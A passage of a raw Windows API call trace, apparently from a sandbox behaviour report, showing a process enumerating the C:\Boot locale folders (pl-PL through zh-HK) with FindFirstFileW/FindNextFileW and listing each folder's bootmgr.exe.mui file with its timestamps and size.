ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.734] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.734] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.734] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.734] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.734] GetProcessHeap () returned 0x730000 [0053.734] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.734] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0053.734] GetProcessHeap () returned 0x730000 [0053.734] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.735] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.735] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.735] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.735] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.735] GetProcessHeap () returned 0x730000 [0053.735] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.735] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0053.735] GetProcessHeap () returned 0x730000 [0053.735] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.736] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.736] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.736] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.737] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.737] GetProcessHeap () returned 0x730000 [0053.737] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.737] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0053.737] GetProcessHeap () returned 0x730000 [0053.737] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.737] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.737] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.737] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.737] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.737] GetProcessHeap () returned 0x730000 [0053.738] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.738] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0053.738] GetProcessHeap () returned 0x730000 [0053.738] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.739] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.739] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.739] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.739] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.739] GetProcessHeap () returned 0x730000 [0053.739] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.739] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0053.739] GetProcessHeap () returned 0x730000 [0053.739] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.740] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.740] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.740] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.740] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.740] GetProcessHeap () returned 0x730000 [0053.740] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.740] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0053.740] GetProcessHeap () returned 0x730000 [0053.740] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.741] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.741] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.741] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.741] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.741] GetProcessHeap () returned 0x730000 [0053.741] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.741] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0053.742] GetProcessHeap () returned 0x730000 [0053.742] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.742] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.742] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.742] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.742] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.742] GetProcessHeap () returned 0x730000 [0053.742] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.742] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0053.742] GetProcessHeap () returned 0x730000 [0053.742] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.743] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: 